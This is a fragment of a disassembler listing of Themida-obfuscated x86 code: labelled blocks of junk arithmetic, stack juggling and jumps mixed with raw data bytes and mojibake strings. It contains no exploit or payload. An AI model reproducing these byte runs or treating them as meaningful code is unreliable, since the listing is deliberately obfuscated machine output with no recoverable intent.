		dd 8B000006h, 0EC81240Ch, 4, 0FFD042E9h, 4C381FFh, 87000000h
		dd 248B241Ch, 0FF4EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E386:				; CODE XREF: Themida_:0054E011j
		pop	ebp
		neg	eax
		push	ebx
		jmp	loc_5504EF
; ---------------------------------------------------------------------------
		db 55h
		dd 9AF88ABDh, 5DEB29B6h, 665BD831h, 5000B60Fh, 1955E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E3A5:				; CODE XREF: Themida_:0054FC5Ej
		push	edx
		mov	edx, ebp
		jmp	loc_54D681
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 7E1F68h, 242C8900h
		dd 67BDB850h, 0C5890104h, 3CFDE958h, 3C890000h,	4FE3BF24h
		dd 0F8010608h, 1FBAE9h,	48B6600h, 0E1895124h, 6EFAE9h
		dd 11E95A00h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E3F7:				; CODE XREF: Themida_:0054BBB3j
		add	esp, 4
		jmp	loc_550359
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	0D1E904C3h, 5CFFFFB5h, 0F66F9F6h
		dd 0EC83CCB6h, 68CE904h, 0EB810000h, 5E51FA7h, 1C8BD901h
		dd 0C342E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E42E:				; CODE XREF: Themida_:0054B8C3j
		sub	eax, 0C57EFC0Eh
		or	ebp, eax
		pop	eax
		shl	ebp, 1
		or	ebp, 3EDD3052h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0FEF7FFF6h
		jmp	loc_553DED
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 8Eh
		dd 0F7350101h, 89F781D7h, 0E9B6CCC9h, 5D76h, 582434FFh
		dd 81E78957h, 4C7h, 5E71E900h, 0AFB80000h, 0BE6B2473h
		dd 0E8865C76h, 39C4C681h, 0C6012D6Ch, 39C4EE81h, 2D582D6Ch
		dd 97D6945h, 0BF57F001h, 97D6945h, 2EF0E9h, 0C8B75300h
		dd 0F900F9B1h, 3B8AE9h,	241C8900h, 63B868h, 24248900h
		dd 0FD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E4BD:				; CODE XREF: Themida_:0054A2F1j
		not	dword ptr [esp]
		pop	ebx
		not	ebx
		jmp	loc_54A8BB
; ---------------------------------------------------------------------------
		dd 2434335Ah, 33243431h, 895C2434h, 58542404h, 405h, 0F1A6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E4E2:				; CODE XREF: Themida_:0054D45Ej
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ebx
		jmp	loc_552674
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 46E95C24h,	56FFFFF8h, 7C6609BEh, 14E94E79h
		dd 81000014h, 0ECA031F7h, 65C38156h, 2937D550h,	65EB81FBh
		dd 0E937D550h, 0FFFFE6F8h, 5C241487h, 0E904EC83h, 3E61h
		dd 24D130B9h, 59CE8943h, 34FFF031h, 0E9CAE924h,	600DFFFFh
		dd 2D7C652Dh, 4A1B661Bh, 5758C789h, 148B5F52h, 4C48124h
		dd 52000000h, 0E92414F7h, 0FFFFF0E7h
; ---------------------------------------------------------------------------


loc_54E568:				; CODE XREF: Themida_:00552F43j
		mov	esi, 12CC6ABBh
		push	edi
		jmp	loc_554C4A
; ---------------------------------------------------------------------------
		db 59h
		dd 5C240487h, 53242489h, 4BBh, 4CAFE900h, 48F0000h, 24248B24h
		dd 1975E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E591:				; CODE XREF: Themida_:0054C20Aj
		add	eax, ebp
		pop	ebp
		sub	eax, 31AB068Ah
		jmp	loc_555122
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4896624h, 0B26BE924h, 248BFFFFh, 1133E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E5B2:				; CODE XREF: Themida_:0054B30Fj
		pop	dword ptr [esp]
		jmp	loc_550DDB
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 609A72F6h, 0E95FFE31h, 0FFFFC780h, 0BC1A0BBEh, 85CE817Ah
		dd 0E966F15Dh, 0FFFFD252h, 7572BE56h, 81465307h, 0F965AFF6h
		dd 0B5CE8159h, 4E310F37h, 37F8F681h, 0F1013BFFh, 1129E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E5FA:				; CODE XREF: Themida_:005541E7j
		mov	ebp, esi
		pop	esi
		jmp	loc_54D34E
; ---------------------------------------------------------------------------
		dw 8166h
		dd 66170EF1h, 5928F181h, 2E1C166h, 0E5C98166h, 0E9D1665Fh
		dd 6AE98166h, 0CB296619h, 0C4E95959h, 66FFFFD2h, 6659CA29h
		dd 8166F229h, 661E37C2h, 0D031665Eh, 0FFEE2DE9h, 0FF505AFFh
		dd 8B042474h, 0C4812404h, 4, 5C24048Fh,	4BB0F66h, 0BAE99C24h
		dd 5CFFFFB1h, 24540166h, 0E95A6602h, 0FFFFB1ADh
; ---------------------------------------------------------------------------


loc_54E668:				; CODE XREF: Themida_:0055087Aj
		mov	ecx, 19C4DD2h
		push	7648h
		jmp	loc_54B712
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 1209h, 24048B66h, 56E28952h, 0B951E689h
		dd 275873E3h, 0EAC181h,	0C18163E4h, 3C4B5630h, 29E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E6A1:				; CODE XREF: Themida_:00549FDAj
		sub	ebx, 61E96E19h
		add	ebx, 42866BEBh
		add	ebx, edi
		sub	ebx, 42866BEBh
		push	edx
		mov	edx, 26172E3h
		jmp	loc_54FCAC
; ---------------------------------------------------------------------------


loc_54E6C0:				; CODE XREF: Themida_:00549F2Cj
		push	8E6h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	7E7Bh
		jmp	loc_551211
; ---------------------------------------------------------------------------
		dd 5153C101h, 0FFC5FDE9h, 0BCED81FFh, 16F3602h,	0EA835DEAh
		dd 24143304h, 33241431h, 248B2414h, 24148924h, 24BAh, 1F01E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E71A:				; CODE XREF: Themida_:0054F650j
		push	1DEEh
		mov	[esp], ecx
		jmp	loc_549815
; ---------------------------------------------------------------------------
		db 8Fh
		dd 2434FF00h, 0D1E9505Bh
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E733:				; CODE XREF: Themida_:0054EC7Cj
		sub	[edi+24h], ebx
		pop	ebx


loc_54E737:				; CODE XREF: Themida_:0054A21Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54C755
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 42h
		dd 817D461Dh, 0A819CEEAh, 20F3E96Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E756:				; CODE XREF: Themida_:0055194Bj
		push	edx
		mov	edx, 2
		jmp	loc_552519
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 9
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54E767:				; CODE XREF: Themida_:0054BDABj
		mov	[esp], ecx
		mov	ecx, 7D171A6Eh
		xor	ecx, 7B46374Bh
		jmp	loc_54BDDD
; ---------------------------------------------------------------------------


loc_54E77A:				; CODE XREF: Themida_:00552E3Bj
		mov	ebp, 36390D8Ch
		neg	ebp
		xor	ebp, 5B04020Fh
		dec	ebp
		or	ebp, 7C443C3h
		jmp	loc_54ECF3
; ---------------------------------------------------------------------------


loc_54E793:				; CODE XREF: Themida_:00554A6Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	ebp
		push	esp
		jmp	loc_5528C1
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0B1h
		dd 0E912CEACh, 0FFFFE6B1h
; ---------------------------------------------------------------------------


loc_54E7B0:				; CODE XREF: Themida_:00549EFBj
		add	ebp, 8BA9C4Bh
		xor	edi, ebp
		pop	ebp
		and	eax, edi
		pop	edi
		or	edx, eax
		jmp	loc_552524
; ---------------------------------------------------------------------------
		db 1
		dd 32F6E9DEh, 0C2810000h, 0D2324304h, 5AE9D301h, 5D00002Bh
		dd 12F8E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E7DD:				; CODE XREF: Themida_:0054A34Ej
		pop	edi
		sub	eax, ecx
		push	edi
		mov	edi, 1E866D4Ah
		jmp	loc_554CC7
; ---------------------------------------------------------------------------
aR_aso		db 'º)r_AéŽ^',0
		dd 59EC0800h, 0D4F6CCFEh, 880AF480h, 0E3E958E6h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E807:				; CODE XREF: Themida_:0054A982j
		pop	edi
		mov	edx, [esp]
		jmp	loc_553D8E
; ---------------------------------------------------------------------------
		dd 8B241487h, 8CE92424h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E81B:				; CODE XREF: Themida_:0054BF91j
		add	esp, 4
		jmp	loc_5541E1
; ---------------------------------------------------------------------------


loc_54E823:				; CODE XREF: Themida_:00553F68j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	ecx
		push	71B17557h
		pop	ecx
		jmp	loc_551415
; ---------------------------------------------------------------------------
		dd 81241489h, 4ECh, 243C8900h, 2B5AFE68h, 0F03DE929h, 0C481FFFFh
		dd 4, 3302E983h, 0C31240Ch, 240C3324h, 0E924248Bh, 3F1Ah
		dd 8A1CAE68h, 2368594Bh, 89000003h, 3C87240Ch, 0F7DF8724h
		dd 87DF87D3h, 8159243Ch, 75E351E9h, 4C16E9B4h, 90B40000h
		dd 0FEFFC480h, 80DCF6C4h, 0D4F664F4h, 0C042EC80h, 0CC8607E4h
		dd 0FECB8853h, 5BD988C3h, 0CC80CC86h, 8ECC078h,	101DE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E8C1:				; CODE XREF: Themida_:0054BF12j
		add	dword ptr [esp+4], 5AEB18CBh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55543D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048F00h, 9CC8845Ch, 0FFAF2CE9h, 2E9C1FFh, 48B1E981h
		dd 0CE01006Fh, 4EE8359h, 0E9243487h, 0FFFFD010h, 0E9241429h
		dd 0CA3h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_553580
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0D03E9h, 2CBB5300h, 814D9D12h, 503381F3h, 0F7EBD15Bh
		dd 2B73E9D3h, 0D6E90000h, 89FFFFAEh, 0B1E92404h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E947:				; CODE XREF: Themida_:005541C2j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 1BF1AACh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		push	ebp
		push	ecx
		push	4002A87h
		pop	ecx
		jmp	loc_54BA7C
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 55000000h,	0FFCBE1E9h, 243C87FFh, 21D2E9h
		dd 0B5CE8100h, 8113C13Fh, 0FFFFFBEEh, 4255E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E99A:				; CODE XREF: Themida_:0055124Ej
		mov	[esp], esi
		jmp	loc_550DB9
; ---------------------------------------------------------------------------
		dw 8956h
		dd 34BF57E6h, 81093241h, 502B81F7h, 0F5F78128h,	0C1695369h
		dd 0BB5302EFh, 12BA0AAEh, 815BDF01h, 0E16CFF7h,	53B85057h
		dd 18C37A2h, 3DE958C7h,	56FFFFE7h, 0C681E689h, 4, 4C681h
		dd 34870000h, 4FE95C24h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E9EF:				; CODE XREF: Themida_:00552688j
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_54EED5
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 80h
		dd 0EB80C300h, 0A6C38080h, 0FFC0B60Fh, 56528734h, 777634BEh
		dd 3742E944h, 48B0000h,	4C48324h, 5F2434FFh, 0FFF97CE9h
		db 0FFh, 31h, 0D2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54C397
; ---------------------------------------------------------------------------
		dd 4C481h, 89530000h, 6CBF57E3h, 8172C850h, 5C7364F7h
		dd 4CF8121h, 552F973Bh,	4E63FCBDh, 0D77AE91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA6A:				; CODE XREF: Themida_:005537D0j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_549A37
; ---------------------------------------------------------------------------
		db 0ACh
		dd 8950D830h, 405E0h, 0D1E90000h, 5F000004h, 4C481h, 0FF590000h
		dd 81592434h, 4C4h, 0A9BB5300h,	0E9373C31h, 0FFFFD55Ch
; ---------------------------------------------------------------------------


loc_54EAA0:				; CODE XREF: Themida_:0054FE11j
		xor	eax, 3EFF7D4Bh
		jmp	loc_55129C
; ---------------------------------------------------------------------------
		dw 489h
		dd 81585424h, 4ECh, 243C8900h, 4BFh, 18D3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EAC2:				; CODE XREF: Themida_:0055299Aj
		pop	ebx
		sub	[esp+4], ebp
		push	ebx
		mov	ebx, 1D17588Ah
		jmp	loc_54C45A
; ---------------------------------------------------------------------------


loc_54EAD2:				; CODE XREF: Themida_:00553DA0j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 65B23D93h
		not	edx
		xor	edx, 7A0C0347h
		shl	edx, 2
		neg	edx
		neg	edx
		xor	edx, 0D18C4D42h
		add	ecx, edx
		pop	edx
		push	7E33h
		jmp	loc_54B068
; ---------------------------------------------------------------------------
		db 56h,	0FFh, 74h
		dd 0E95E0424h, 0FFFFAE63h, 0AD2CD828h, 21DE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EB16:				; CODE XREF: Themida_:0054FA55j
		push	26D8h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_54C4A8
; ---------------------------------------------------------------------------
		dd 6702E95Ch, 0C4830000h, 4EC8302h, 0B0240489h,	58C53000h
		dd 300EB450h, 0CEE958E5h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54EB47:				; CODE XREF: Themida_:005542C3j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54B866
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 33995A90h, 412AF381h, 0B2E91AA8h, 0FFFFFFB7h, 8B042474h
		dd 0C483241Ch, 0C160E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EB8A:				; CODE XREF: Themida_:00552D95j
		and	ebp, 2D1E7B55h
		and	ebp, 5CB1B19h
		xor	ebp, 65E71C88h
		sub	ebp, 0FFFFFFFFh
		dec	ebp
		jmp	loc_54DD18
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 5E7Ah
; ---------------------------------------------------------------------------


loc_54EBB0:				; CODE XREF: Themida_:00550B02j
		shr	ecx, 3
		jmp	loc_553EE4
; ---------------------------------------------------------------------------
		dd 0F7FFC383h, 6EBC1DBh, 7E2EEB81h, 0DF89CB26h,	83241C8Bh
		dd 0F78104C4h, 4C5E5344h, 4D5FFD89h, 3C5DE581h,	0E5C17041h
		dd 7E5C102h, 1B61E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EBE9:				; CODE XREF: Themida_:0054F0B5j
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [edi+24h]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		pop	dword ptr [edi+24h]
		pop	ebx


loc_54EC0D:				; CODE XREF: Themida_:005556B0j
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_550560
; ---------------------------------------------------------------------------


loc_54EC2A:				; CODE XREF: Themida_:0055257Ej
		shr	eax, 10h
		xor	eax, ecx
		push	1922h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_554326
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48324h, 8904EC83h, 94E92434h, 8300005Dh
		dd 2C8904ECh, 81E58924h, 4C5h, 8B95100h, 0E9635B5Ah, 1F57h
		dd 0EF9CE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EC72:				; CODE XREF: Themida_:0055388Dj
		pop	ebp
		push	ecx
		mov	ecx, 2AB944BFh
		sub	ebx, ecx
		pop	ecx
		jmp	loc_54E733
; ---------------------------------------------------------------------------
		db 21h,	0D1h, 5Ah
		dd 1A07C981h, 0F1817BA1h, 7BF15E45h, 541AED81h,	0E95340CDh
		dd 6AC0h, 127758BAh, 5AD02940h,	0DD1F072Dh, 6D2E2D49h
		dd 51563E70h, 0FFF87FE9h, 0BC6866FFh, 0F56E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54ECBE:				; CODE XREF: Themida_:0054D20Fj
		add	edi, 73CE24CFh
		add	edi, ecx
		sub	edi, 73CE24CFh
		pop	ecx
		push	6CAFh
		mov	[esp], edx
		mov	edx, 60D7115h
		jmp	loc_54F019
; ---------------------------------------------------------------------------


loc_54ECDF:				; CODE XREF: Themida_:00550B56j
		add	esp, 4
		pop	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_54CA9F
; ---------------------------------------------------------------------------


loc_54ECF3:				; CODE XREF: Themida_:0054E78Ej
		xor	ebp, 97C6F3FFh
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	4FECh
		mov	[esp], ecx
		push	80h
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_552A78
; ---------------------------------------------------------------------------
		db 30h
		dd 68F5E9C3h, 0D6E90000h, 57FFFFAAh, 605D6853h,	1C8B2AE2h
		dd 0C0C6E924h, 0CF31FFFFh, 8BFE2959h, 0C483243Ch, 0C381E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ED5E:				; CODE XREF: Themida_:0054F317j
		push	674322B9h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	7905h
		mov	[esp], esi
		jmp	loc_54C1A0
; ---------------------------------------------------------------------------
		dd 23A26852h, 815A0950h, 857BE1F2h, 8BD68920h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54A4B0
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 43E95EF5h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54EDA3:				; CODE XREF: Themida_:0054D1A2j
		add	esp, 2
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 12h
		jmp	loc_54CF3C
; ---------------------------------------------------------------------------


loc_54EDB6:				; CODE XREF: Themida_:005500E4j
		push	dword ptr [esp]
		pop	esi
		push	2818h
		mov	[esp], ecx
		jmp	loc_551DE6
; ---------------------------------------------------------------------------
		db 0BBh
		dd 2DC52658h, 13E9D3F7h, 5C000036h, 3163E9h, 240C8B00h
		dd 0FFEDDBE9h, 6D3BBFFFh, 0E781482Bh, 1DFB1F99h, 1FACEF81h
		dd 0ACE91465h, 0BD000048h, 34B64DD9h, 0FFACFAE9h, 0E9EA89FFh
		dd 19EEh, 7F456852h, 0F75A2C51h, 0B3BFE9D2h, 0BD55FFFFh
		dd 2, 2DE9E801h, 3000005Dh, 240C8BE8h, 6804C483h, 72A6h
		dd 83241C89h, 48904ECh,	55B55124h, 0B359E888h, 8BC330F3h
		dd 0C4832404h, 0AAE95204h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54EE4F:				; CODE XREF: Themida_:0054F323j
		push	ebx
		pop	edi
		jmp	loc_5557EA
; ---------------------------------------------------------------------------
aSAib		db 'S³¹€ë',0
aSe_0		db 'Øé…*',0
		dw 5F00h
		dd 0E904E883h, 0FFFFE486h, 812CEB80h, 4ECh, 24148900h
		dd 0B3537BB6h, 0E3E3E961h, 481FFFFh, 424h, 4ACE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EE8E:				; CODE XREF: Themida_:0054981Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54AFB7
; ---------------------------------------------------------------------------
		db 0F7h
		dd 75C181D9h, 810E5C49h, 4B5E35C1h, 59CF8939h, 4247C01h
		dd 0FFAA2CE9h, 81665CFFh, 0E925BBC3h, 0FFFFAB5Dh, 0CEE9E089h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54EEC7:				; CODE XREF: Themida_:0054F48Cj
		mov	[esp], esp
		jmp	loc_55302B
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFCC55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EED5:				; CODE XREF: Themida_:0054EA00j
					; Themida_:00554430j
		push	ebp
		jmp	loc_54AF8E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 54562404h, 4ED1E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EEE5:				; CODE XREF: Themida_:0054D522j
		mov	edi, 0FFFFh
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5503CB
; ---------------------------------------------------------------------------
		dw 0CE80h
		dd 6EF768F8h, 67E90000h, 0AD000027h, 0B68D831h,	89000069h
		dd 0EC83243Ch, 24148904h, 0D6E9E289h, 8100000Eh, 0C90870C3h
		dd 5BE95E57h, 0FF00001Ah, 5B042474h, 8B24048Fh,	31662424h
		dd 0E99C2404h, 65F0h, 8108E7C1h, 7AAAE4F7h, 0C3CF81A2h
		dd 0E93D7D11h, 5E1Ah, 4BB53h, 0F1E90000h, 59000016h, 815FFE29h
		dd 0E0349BEEh, 1CC6816Eh, 1314E1Fh, 1CBF57C6h, 0E9314E1Fh
		dd 3DBFh
; ---------------------------------------------------------------------------


loc_54EF7C:				; CODE XREF: Themida_:0054AC62j
		push	eax
		mov	eax, esp
		jmp	loc_54B403
; ---------------------------------------------------------------------------


loc_54EF84:				; CODE XREF: Themida_:0054C606j
		and	ecx, 613B4424h
		shl	ecx, 1
		not	ecx
		not	ecx
		or	ecx, 527818F5h
		sub	ecx, 9AE78CAAh
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54ADCC
; ---------------------------------------------------------------------------
		db 29h,	0CBh, 59h
		dd 0FFE9C0E9h, 4C481FFh, 66000000h, 8B66D029h, 0C4832414h
		dd 0F7686602h, 14896623h, 0BBA6624h, 2EC816Dh, 66000000h
		dd 66243489h, 510CEBBEh, 21F7B966h, 3118E9h, 0C8B6600h
		dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 240C895Ch
		dd 0EC81E189h, 4, 52241C89h, 582DB2BAh,	2299E97Ch, 0CF010000h
		dd 22A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F019:				; CODE XREF: Themida_:0054ECDAj
		add	edx, 288444DDh
		push	eax
		mov	eax, 7A8116B7h
		or	eax, 11B31673h
		shl	eax, 4
		neg	eax
		xchg	eax, edi
		not	edi
		jmp	loc_554734
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFA7D9h, 0E9240C89h, 6324h, 4EC835Ah, 51BAE9h, 0C8B6600h
		dd 4EC8324h, 0FFC1D3E9h, 243C8BFFh, 4C481h, 0BD550000h
		dd 4, 685DEE01h, 7D8Ah,	0FF243489h, 8B042474h, 0C4832434h
		dd 24048F04h, 2434FF5Ch
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54D58F
; ---------------------------------------------------------------------------
aZ4LSi		db '‡4$‹$$éˆ,',0
		align 4
aFsu		db 'Féž]',0
		align 2


loc_54F09E:				; CODE XREF: Themida_:00549ECBj
		xor	edi, 0C745AECh
		add	edi, 6992849Bh
		add	ebx, edi
		pop	edi
		sub	ebx, ebp
		sub	ebx, 43FD4D87h
		jmp	loc_54EBE9
; ---------------------------------------------------------------------------
		dw 71B8h
		dd 0C1617F13h, 0D0F704E8h, 4B4C2F35h, 4C12356Dh, 0C3019453h
		dd 4E72E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F0D6:				; CODE XREF: Themida_:00551651j
		and	ebx, 6A5A7036h
		or	ebx, 3DAC530Dh
		jmp	loc_5535F0
; ---------------------------------------------------------------------------


loc_54F0E7:				; CODE XREF: Themida_:0054A14Ej
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		jmp	loc_5517D7
; ---------------------------------------------------------------------------
		dd 5C240487h, 24048B66h, 3E4868h, 24348900h, 0EC835E54h
		dd 24148904h, 520EB850h, 12BA0D60h, 530D6052h, 0F16983BBh
		dd 6AC3810Ch, 0E938A079h, 0FFFFAF4Bh, 66DBE959h, 4C2C0000h
		dd 0FFE32EE9h, 4C383FFh, 31241C33h, 1C33241Ch, 0CEE95C24h
		dd 59FFFFA6h, 0E5C0CDFEh, 92ED8006h, 4826E9h, 0BD555100h
		dd 3C582714h, 2F83E9h, 0F5015900h, 4305E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F169:				; CODE XREF: Themida_:00552C90j
		not	edi
		jmp	loc_54C228
; ---------------------------------------------------------------------------
		dd 0E307E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F176:				; CODE XREF: Themida_:00551C21j
		xchg	eax, [esp]
		jmp	loc_54C18A
; ---------------------------------------------------------------------------
		dw 14F6h
aSi8		db '$é¨8',0
		align 2


loc_54F186:				; CODE XREF: Themida_:0054CEC5j
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_54C7C7
; ---------------------------------------------------------------------------
aNbuudqlwh@0	db '­îždŸlWh@0',0
		dd 240C8900h, 301420B9h, 0E9CF897Ah, 0FFFFFDABh, 4858C181h
		dd 0F101023Ah, 4858E981h, 348B023Ah, 2DFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F1CA:				; CODE XREF: Themida_:00551E2Fj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5546C0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 89000000h,	89522414h, 63BF57E2h, 8157350Fh
		dd 0CAF0A1C7h, 0E9FA01A8h, 2886h
; ---------------------------------------------------------------------------


loc_54F200:				; CODE XREF: Themida_:00553F96j
		xor	edx, 0CD651A10h
		sub	ebp, edx
		pop	edx
		add	ebp, 0CDD99FD2h
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		add	esp, 4


loc_54F218:				; CODE XREF: Themida_:00551FEDj
		push	62ECh
		mov	[esp], esi
		jmp	loc_54C613
; ---------------------------------------------------------------------------


loc_54F225:				; CODE XREF: Themida_:005501AEj
		pop	esp
		sub	ecx, ebx
		pop	ebx
		jmp	loc_552575
; ---------------------------------------------------------------------------


loc_54F22E:				; CODE XREF: Themida_:00550FEDj
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54FFDC
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 700412BAh, 5AD62959h, 265F681h, 0CE81598Eh
		dd 6E8D3362h, 83FCE81h,	0EE8174C3h, 65E23F2Dh, 94F7EE81h
		dd 0F701F60Dh, 2AC0E95Eh, 0E6880000h, 148BF188h, 4723E924h
		dd 4890000h, 52E08924h,	0FFADB3E9h, 240489FFh, 5052E089h
		dd 0FFBF82E9h, 8DEB80FFh, 0A37E958h, 0C4810000h, 4, 62E9C8FEh
		dd 31000063h, 0C33240Ch, 0DD59E924h, 48FFFFFh, 1FE95C24h
		dd 4FFFFC4h, 3DE95AA0h,	5BFFFFF8h, 4C681h, 0FF560000h
		dd 5E042474h, 5C24048Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54CB55
; ---------------------------------------------------------------------------


loc_54F2E8:				; CODE XREF: Themida_:0054BB25j
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 4E8D281Dh
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54D63E
; ---------------------------------------------------------------------------


loc_54F305:				; CODE XREF: Themida_:0054C9F9j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_54A137
		push	ebx
		jmp	loc_54ED5E
; ---------------------------------------------------------------------------


loc_54F31C:				; CODE XREF: Themida_:0054C76Dj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54EE4F
